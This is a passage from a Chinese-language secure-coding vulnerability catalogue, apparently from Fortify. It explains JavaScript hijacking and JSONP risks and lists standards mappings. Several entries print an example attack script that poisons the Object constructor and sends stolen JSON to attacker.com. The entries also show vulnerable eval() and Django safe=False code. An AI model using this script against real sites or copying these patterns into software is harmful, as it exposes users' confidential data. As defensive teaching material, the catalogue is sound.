[15] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.6 - Sensitive Data Retention
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.6 - Sensitive Data Retention
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.6 - Sensitive Data Retention
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II
desc.structural.java.j2ee_badpractices_leftover_debug_code
Abstract
使用 JavaScript 符号来传送敏感数据的应用程序可能会存在 JavaScript hijacking 的漏洞,该漏洞允许未经授权的攻击者从一个易受攻击的应用程序中读取机密数据。
Explanation
如果发生以下情况,应用程序可能会很容易受到 JavaScript 劫持的攻击:1) 将 JavaScript 对象用作数据传输格式 2) 处理机密数据。由于 JavaScript 劫持漏洞不会作为编码错误的直接结果出现,所以 Fortify 安全编码规则包会通过识别在 HTTP 响应中产生的 JavaScript 代码,引起人们对潜在的 JavaScript 劫持漏洞的注意。

Web 浏览器执行同源策略 (Same Origin Policy),以保护用户免受恶意网站的攻击。同源策略 (Same Origin Policy) 规定:如果要使用 JavaScript 来访问某个网页的内容的话,则 JavaScript 和网页必须都来源于相同的域。若不采取同源策略 (Same Origin Policy),恶意网站便可以使用客户端凭证来运行从其他网站加载敏感信息的 JavaScript,并对这些信息进行提炼,然后将其返回给攻击者。通过 JavaScript 劫持,攻击者可以绕过 Web 应用程序中使用的同源策略 (Same Origin Policy),该应用程序使用 JavaScript 来交流机密信息。同源策略 (Same Origin Policy) 中的漏洞是:通过这一策略,任何网站的 JavaScript 都可以被其他网站的上下文包含或执行。即使恶意网站不能直接在客户端上检查易受攻击的站点中加载的所有数据,但它仍可以通过配置一个特定的环境利用该漏洞。有了这样的环境,恶意网站就可以监视 JavaScript 的执行过程和任何可能发生的相关负面效应。由于许多 Web 2.0 应用程序使用 JavaScript 作为数据传输机制,因此,与传统的 Web 应用程序不同,它们往往很容易受到各种攻击。

JavaScript 中最常见的信息传输格式为 JavaScript Object Notation (JSON)。JSON RFC 将 JSON 语法定义为 JavaScript 类实例文本化定义语法 (object literal syntax)的子集。JSON 基于两种数据结构类型:阵列和对象。所有可以作为一个或多个有效 JavaScript 语句进行解析的数据传送格式都容易受到 JavaScript 劫持的攻击。JSON 使 JavaScript 劫持变得更加容易,因为 JSON 数组坚持认为它自己就是有效的 JavaScript 指令。因为数组是交换列表的一种正常形式,在应用程序需要交换多个值时会普遍使用该形式。换句话说,一个 JSON 数组会直接受到 JavaScript 劫持的攻击。一个 JSON 对象只在其被一些其他 JavaScript 结构包围时才会受到攻击,这些 JavaScript 结构坚持认为它们自己就是有效的 JavaScript 指令。

示例 1:在以下示例中,开头显示了一个在 Web 应用程序的客户端和服务器组件之间进行的合法 JSON 交互,这一 Web 应用程序用于管理潜在商机。接下来,它说明了攻击者如何模仿客户端获取服务器端返回的机密信息。注意,本例子是专为基于 Mozilla 的浏览器而编写的代码。若在创建对象时,没有使用 new 运算符,则其他主流浏览器会禁止重载默认构造函数。

客户端向服务器请求数据,并通过以下代码评估 JSON 结果:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


当此代码运行时,它会生成一个如下所示的 HTTP 请求:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(在本 HTTP 响应和随后的响应中,我们省略了与该解释没有直接关系的 HTTP 头信息。)
服务器使用 JSON 格式的数组进行响应:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


这种情况下,JSON 中包含了与当前用户相关的机密信息(一组潜在商机数据)。其他用户如果不知道该用户的会话标识符,便无法访问这些信息。(在大多数现代 Web 应用程序中,会话标识符存储在 cookie 中。)然而,如果受害者访问某个恶意网站,恶意网站就可以使用 JavaScript 劫持提取信息。如果受害者受到欺骗后,访问包含以下恶意代码的网页,受害者的重要信息就会被发送到攻击者的网站中。


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


恶意代码使用脚本标签以在当前页面包含 JSON 对象。Web 浏览器将使用该请求发送相应的会话 cookie。换言之,处理此请求时将认为其源自合法应用程序。

当 JSON 阵列到达客户端时,将在恶意页面的上下文中对其进行评估。为了看清 JSON 的评估,恶意页面重新定义了用于创建新对象的 JavaScript 功能。通过此方法,恶意代码已插入一个钩子,该钩子允许其访问每个对象的创建并将对象的内容传递回恶意网站。与之相反,其他攻击可能会覆盖阵列默认的构造函数。为在混合应用中使用而建的应用程序有时会在每一 JavaScript 消息的末端调用回调功能。回调功能意味着将由混合应用中的其他应用程序定义。回调功能使 JavaScript 挟持攻击变得容易 -- 攻击者要做的就是定义该功能。应用程序可以是混合应用 - 友好型或安全型,但不可能两者兼备。如果用户未登录到易受攻击的网站,攻击者可以要求用户登录,然后显示该应用程序的合法登录页面。

这不是钓鱼攻击 -- 攻击者未获得用户凭证的访问权限 -- 因此反钓鱼对策将无法打败攻击。更复杂的攻击可能会通过使用 JavaScript 动态生成脚本标签,向应用程序作出一系列请求。此相同技术有时会用于创建应用程序混合应用。唯一的不同是,在此混合应用情况中,涉及的应用程序之一是恶意的。
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[7] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[8] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-003300 CAT II
[23] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[24] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.java.javascript_hijacking
Abstract
使用 JavaScript 符号来传送敏感数据的应用程序可能会存在 JavaScript hijacking 的漏洞,该漏洞允许未经授权的攻击者从一个易受攻击的应用程序中读取机密数据。
Explanation
如果发生以下情况,应用程序可能会很容易受到 JavaScript 劫持的攻击:1) 将 JavaScript 对象用作数据传输格式 2) 处理机密数据。由于 JavaScript 劫持漏洞不会作为编码错误的直接结果出现,所以 Fortify 安全编码规则包会通过识别在 HTTP 响应中产生的 JavaScript 代码,引起人们对潜在的 JavaScript 劫持漏洞的注意。

Web 浏览器强制执行同源策略,以防止用户受到恶意网站的侵害。同源策略要求,为确保使用 JavaScript 访问 Web 页面内容,JavaScript 和 Web 页面必须来自同一个域。如果不实施同源策略,恶意网站可能就会使用客户端凭据运行从其他网站加载敏感信息的 JavaScript,并对这些信息进行提炼,然后将其返回给攻击者。JavaScript Hijacking 允许攻击者在 Web 应用程序使用 JavaScript 传递机密信息的情况下绕过同源策略。同源策略的漏洞在于,允许将来自任何网站的 JavaScript 纳入任何其他网站的上下文并予以执行。即使恶意站点无法直接检查从易受攻击的客户端站点加载的任何数据,但仍然可以通过设置环境来利用此漏洞,使其能够见证 JavaScript 的执行过程及其可能产生的任何相关副作用。由于许多 Web 2.0 应用程序使用 JavaScript 作为数据传输机制,因此通常容易受到攻击,而传统 Web 应用程序则不然。

JavaScript 中最常见的信息传输格式为 JavaScript Object Notation (JSON)。JSON RFC 将 JSON 语法定义为 JavaScript 类实例文本化定义语法 (object literal syntax)的子集。JSON 基于两种数据结构类型:阵列和对象。所有可以作为一个或多个有效 JavaScript 语句进行解析的数据传送格式都容易受到 JavaScript 劫持的攻击。JSON 使 JavaScript 劫持变得更加容易,因为 JSON 数组坚持认为它自己就是有效的 JavaScript 指令。因为数组是交换列表的一种正常形式,在应用程序需要交换多个值时会普遍使用该形式。换句话说,一个 JSON 数组会直接受到 JavaScript 劫持的攻击。一个 JSON 对象只在其被一些其他 JavaScript 结构包围时才会受到攻击,这些 JavaScript 结构坚持认为它们自己就是有效的 JavaScript 指令。

示例 1:在以下示例中,开头显示了一个在 Web 应用程序的客户端和服务器组件之间进行的合法 JSON 交互,这一 Web 应用程序用于管理潜在商机。接下来,它说明了攻击者如何模仿客户端获取服务器端返回的机密信息。注意,本例子是专为基于 Mozilla 的浏览器而编写的代码。若在创建对象时,没有使用 new 运算符,则其他主流浏览器会禁止重载默认构造函数。

客户端向服务器请求数据,并通过以下代码评估 JSON 结果:

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


当此代码运行时,它会生成一个如下所示的 HTTP 请求:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(在本 HTTP 响应和随后的响应中,我们省略了与该解释没有直接关系的 HTTP 头信息。)
服务器使用 JSON 格式的数组进行响应:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


这种情况下,JSON 中包含了与当前用户相关的机密信息(一组潜在商机数据)。其他用户如果不知道该用户的会话标识符,便无法访问这些信息。(在大多数现代 Web 应用程序中,会话标识符存储在 cookie 中。)然而,如果受害者访问某个恶意网站,恶意网站就可以使用 JavaScript 劫持提取信息。如果受害者受到欺骗后,访问包含以下恶意代码的网页,受害者的重要信息就会被发送到攻击者的网站中。


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


恶意代码使用脚本标签以在当前页面包含 JSON 对象。Web 浏览器将使用该请求发送相应的会话 cookie。换言之,处理此请求时将认为其源自合法应用程序。

当 JSON 阵列到达客户端时,将在恶意页面的上下文中对其进行评估。为了看清 JSON 的评估,恶意页面重新定义了用于创建新对象的 JavaScript 功能。通过此方法,恶意代码已插入一个钩子,该钩子允许其访问每个对象的创建并将对象的内容传递回恶意网站。与之相反,其他攻击可能会覆盖阵列默认的构造函数。为在混合应用中使用而建的应用程序有时会在每一 JavaScript 消息的末端调用回调功能。回调功能意味着将由混合应用中的其他应用程序定义。回调功能使 JavaScript 挟持攻击变得容易 -- 攻击者要做的就是定义该功能。应用程序可以是混合应用 - 友好型或安全型,但不可能两者兼备。如果用户未登录到易受攻击的网站,攻击者可以要求用户登录,然后显示该应用程序的合法登录页面。

这不是钓鱼攻击 -- 攻击者未获得用户凭证的访问权限 -- 因此反钓鱼对策将无法打败攻击。更复杂的攻击可能会通过使用 JavaScript 动态生成脚本标签,向应用程序作出一系列请求。此相同技术有时会用于创建应用程序混合应用。唯一的不同是,在此混合应用情况中,涉及的应用程序之一是恶意的。
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[7] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[8] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-003300 CAT II
[23] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[24] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.javascript.javascript_hijacking
Abstract
使用 JavaScript 符号来传送敏感数据的应用程序可能会存在 JavaScript hijacking 的漏洞,该漏洞允许未经授权的攻击者从一个易受攻击的应用程序中读取机密数据。如果浏览器的 JavaScript 引擎允许数组构造函数中毒,则 JavaScript 数组会失窃。
Explanation
如果发生以下情况,应用程序可能会很容易受到 JavaScript 劫持的攻击:
1) 使用 JavaScript 对象作为数据传输格式
2) 处理机密数据。由于 JavaScript 劫持漏洞不会作为编码错误的直接结果出现,所以 Fortify 安全编码规则包会通过识别在 HTTP 响应中产生的 JavaScript 代码,引起人们对潜在的 JavaScript 劫持漏洞的注意。

Web 浏览器执行同源策略 (Same Origin Policy),以保护用户免受恶意网站的攻击。同源策略 (Same Origin Policy) 规定:如果要使用 JavaScript 来访问某个网页的内容的话,则 JavaScript 和网页必须都来源于相同的域。若不采取同源策略 (Same Origin Policy),恶意网站便可以使用客户端凭证来运行从其他网站加载敏感信息的 JavaScript,并对这些信息进行提炼,然后将其返回给攻击者。通过 JavaScript 劫持,攻击者可以绕过 Web 应用程序中使用的同源策略 (Same Origin Policy),该应用程序使用 JavaScript 来交流机密信息。同源策略 (Same Origin Policy) 中的漏洞是:通过这一策略,任何网站的 JavaScript 都可以被其他网站的上下文包含或执行。即使恶意网站不能直接在客户端上检查易受攻击的站点中加载的所有数据,但它仍可以通过配置一个特定的环境利用该漏洞。有了这样的环境,恶意网站就可以监视 JavaScript 的执行过程和任何可能发生的相关负面效应。由于许多 Web 2.0 应用程序使用 JavaScript 作为数据传输机制,因此,与传统的 Web 应用程序不同,它们往往很容易受到各种攻击。

JavaScript 中最常见的信息传输格式为 JavaScript Object Notation (JSON)。JSON RFC 将 JSON 语法定义为 JavaScript 类实例文本化定义语法 (object literal syntax)的子集。JSON 基于两种数据结构类型:阵列和对象。所有可以作为一个或多个有效 JavaScript 语句进行解析的数据传送格式都容易受到 JavaScript 劫持的攻击。JSON 使 JavaScript 劫持变得更加容易,因为 JSON 数组坚持认为它自己就是有效的 JavaScript 指令。因为数组是交换列表的一种正常形式,在应用程序需要交换多个值时会普遍使用该形式。换句话说,一个 JSON 数组会直接受到 JavaScript 劫持的攻击。一个 JSON 对象只在其被一些其他 JavaScript 结构包围时才会受到攻击,这些 JavaScript 结构坚持认为它们自己就是有效的 JavaScript 指令。

示例 1:在以下示例中,开头显示了一个在 Web 应用程序的客户端和服务器组件之间进行的合法 JSON 交互,这一 Web 应用程序用于管理潜在商机。接下来,它说明了攻击者如何模仿客户端获取服务器端返回的机密信息。注意,本例子是专为基于 Mozilla 的浏览器而编写的代码。若在创建对象时,没有使用 new 运算符,则其他主流浏览器会禁止重载默认构造函数。

客户端向服务器请求数据,并通过以下代码评估 JSON 结果:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


当此代码运行时,它会生成一个如下所示的 HTTP 请求:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(在本 HTTP 响应和随后的响应中,我们省略了与该解释没有直接关系的 HTTP 头信息。)
服务器使用 JSON 格式的数组进行响应:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


这种情况下,JSON 中包含了与当前用户相关的机密信息(一组潜在商机数据)。其他用户如果不知道该用户的会话标识符,便无法访问这些信息。(在大多数现代 Web 应用程序中,会话标识符存储在 cookie 中。)然而,如果受害者访问某个恶意网站,恶意网站就可以使用 JavaScript 劫持提取信息。如果受害者受到欺骗后,访问包含以下恶意代码的网页,受害者的重要信息就会被发送到攻击者的网站中。


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


恶意代码使用脚本标签以在当前页面包含 JSON 对象。Web 浏览器将使用该请求发送相应的会话 cookie。换言之,处理此请求时将认为其源自合法应用程序。

当 JSON 阵列到达客户端时,将在恶意页面的上下文中对其进行评估。为了看清 JSON 的评估,恶意页面重新定义了用于创建新对象的 JavaScript 功能。通过此方法,恶意代码已插入一个钩子,该钩子允许其访问每个对象的创建并将对象的内容传递回恶意网站。与之相反,其他攻击可能会覆盖阵列默认的构造函数。为在混合应用中使用而建的应用程序有时会在每一 JavaScript 消息的末端调用回调功能。回调功能意味着将由混合应用中的其他应用程序定义。回调功能使 JavaScript 挟持攻击变得容易 -- 攻击者要做的就是定义该功能。应用程序可以是混合应用 - 友好型或安全型,但不可能两者兼备。如果用户未登录到易受攻击的网站,攻击者可以要求用户登录,然后显示该应用程序的合法登录页面。

这不是钓鱼攻击 -- 攻击者未获得用户凭证的访问权限 -- 因此反钓鱼对策将无法打败攻击。更复杂的攻击可能会通过使用 JavaScript 动态生成脚本标签,向应用程序作出一系列请求。此相同技术有时会用于创建应用程序混合应用。唯一的不同是,在此混合应用情况中,涉及的应用程序之一是恶意的。

示例 2:以下代码显示 Django 样本查看方法,这种方法以 JSON 数组的形式发送包含敏感数据的 JSON 响应。


from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Joe Walker JSON is not as safe as people think it is
[3] Jeremiah Grossman Advanced Web Attack Techniques using GMail
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[5] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[8] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[9] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[25] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.python.javascript_hijacking_constructor_poisoning
Abstract
JSONP 是一种不安全的通信技术,仅可在不涉及个人或敏感数据并检查回调函数的情况下使用。
Explanation
通过设计 JSONP 可允许执行跨域请求,但是它缺乏限制和验证请求源的机制。恶意站点可以轻松地以用户的名义执行 JSONP 请求并处理 JSON 响应。因此,强烈建议在发送 PII 或敏感数据时避免使用此通信技术。
JSONP 在设计上是自我攻击的 XSS 攻击,因为回调函数名需要被反射到请求站点以正确进行 JSON 处理。强制验证和检查回调函数名以避免 JavaScript 注入攻击。为了检查回调函数名,请考虑在可能的情况下建立允许列表或将字符限制为仅包含字母数字。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 346
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[7] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[8] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[9] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[25] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.dotnet.javascript_hijacking_jsonp
Abstract
JSONP 是一种不安全的通信技术,仅可在不涉及个人或敏感数据的情况下使用。
Explanation
通过设计 JSONP 可允许执行跨域请求,但是它缺乏限制和验证请求来源的机制。 恶意站点可以轻松地以用户的名义执行 JSONP 请求并处理 JSON 响应。 因此,强烈建议在发送 PII 或敏感数据时避免使用此通信技术。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 346
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[7] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[8] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[9] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
